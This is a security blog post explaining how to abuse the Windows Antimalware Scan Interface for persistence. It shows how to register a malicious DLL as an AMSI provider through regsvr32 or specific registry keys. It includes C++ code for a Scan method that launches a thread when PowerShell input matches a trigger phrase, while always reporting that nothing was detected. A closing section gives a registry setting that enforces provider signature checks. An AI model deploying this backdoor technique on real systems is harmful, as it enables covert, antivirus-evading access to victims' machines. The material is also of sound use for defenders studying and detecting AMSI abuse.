This blog post explains how you can execute arbitrary code and maintain access to a Microsoft Windows system by leveraging AMSI provider.

AMSI

Windows Antimalware Scan Interface (AMSI) is an interface standard that allows applications and services to integrate with any antimalware product installed on the system. For example, if an AV vendor wants to intercept the powershell commands after they have been decoded they must have their scan engine interfaced with AMSI. The same for Assembly.Load.

AMSI is integrated into the following components of Windows 10.

  • User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
  • PowerShell (scripts, interactive use, and dynamic code evaluation)
  • Windows Script Host (wscript.exe and cscript.exe)
  • JavaScript and VBScript
  • Office VBA macros

AMSI Provider

AMSI Provider is the component responsible for the scan by the Antimaware product. This component must implement the IAntimalwareProvider interface which has the following methods

Method Description
IAntimalwareProvider::CloseSession Closes the session
IAntimalwareProvider::DisplayName The name of the antimalware provider to be displayed
IAntimalwareProvider::Scan Scan a stream of content

To function as an AMSI provider, the component (DLL) must be registered as an in-process COM server. The registration process can be done in two ways:

  1. Implementing the DllRegisterServer method into the DLL and register it with the regsvr32 command

  2. Manual setting of the following registry keys

    1. HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\GUID (Default) REG_SZ “Provider description”
    2. HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\GUID\InprocServer32 (Default) REG_EXPAND_SZ “Path to Dll” - ThreadingModel REG_SZ “Both”
    3. HKLM\SOFTWARE\Microsoft\AMSI\Providers\ "GUID"

Administrator privileges are required to register a provider. Once registered, the Dll will be loaded into any process involving AMSI (powershell, clr, etc.) and the Scan method

HRESULT Scan(_In_ IAmsiStream* stream, _Out_ AMSI_RESULT* result)

will be invoked when a content is scanned

Using AMSI Provider for Persistence

So if we can provide a malicious DLL and register it as a provider, we can make a persistence that triggers a “scan request” for antimalware :). In addition, from the Scan method passes the content to be analyzed so in the case of powershell we will have the possibility to analyze the commands sent and then trigger the execution of the malware only in the case of specific words

An example of the implementation of the Scan method

HRESULT SampleAmsiProvider::Scan(_In_ IAmsiStream* stream, _Out_ AMSI_RESULT* result)
{
	_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString");
	_RtlEqualUnicodeString RtlEqualUnicodeString = (_RtlEqualUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlEqualUnicodeString");

	UNICODE_STRING myTriggerString1;
	RtlInitUnicodeString(&myTriggerString1, L"Run my malware");

	UNICODE_STRING myTriggerString2;
	RtlInitUnicodeString(&myTriggerString2, L"\"Run my malware\"");

	UNICODE_STRING myTriggerString3;
	RtlInitUnicodeString(&myTriggerString3, L"'Run my malware'");

	ULONG actualSize;
	ULONGLONG contentSize;
	if (!SUCCEEDED(stream->GetAttribute(AMSI_ATTRIBUTE_CONTENT_SIZE, sizeof(ULONGLONG), reinterpret_cast<PBYTE>(&contentSize), &actualSize)) &&
		actualSize == sizeof(ULONGLONG))
	{
		*result = AMSI_RESULT_NOT_DETECTED;

		return S_OK;
	}

	PBYTE contentAddress;
	if (!SUCCEEDED(stream->GetAttribute(AMSI_ATTRIBUTE_CONTENT_ADDRESS, sizeof(PBYTE), reinterpret_cast<PBYTE>(&contentAddress), &actualSize)) &&
		actualSize == sizeof(PBYTE))
	{
		*result = AMSI_RESULT_NOT_DETECTED;

		return S_OK;
	}


	if (contentAddress)
	{
		if (contentSize < 50)
		{
			UNICODE_STRING myuni;
			myuni.Buffer = (PWSTR)contentAddress;
			myuni.Length = (USHORT)contentSize;
			myuni.MaximumLength = (USHORT)contentSize;

			if (RtlEqualUnicodeString(&myTriggerString1, &myuni, TRUE) || RtlEqualUnicodeString(&myTriggerString2, &myuni, TRUE) || RtlEqualUnicodeString(&myTriggerString3, &myuni, TRUE))
			{

				DWORD thId;
				CreateThread(NULL, 0, MyThreadFunction, NULL, 0, &thId);
			}
		}
	}

	*result = AMSI_RESULT_NOT_DETECTED;

	return S_OK;
}

AmsiProvider.cpp · GitHub

Prevention

Starting with the Windows 10 1903 release, Microsoft introduced a way to enable Authenticode + Windows Hardware Quality Labs (WHQL) signature checks for providers. But this feature is not enabled by default. To enable Authenticode + Windows Hardware Quality Labs (WHQL) signature checks, set the key

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\AMSI\FeatureBits

to 0x2 (DWORD) .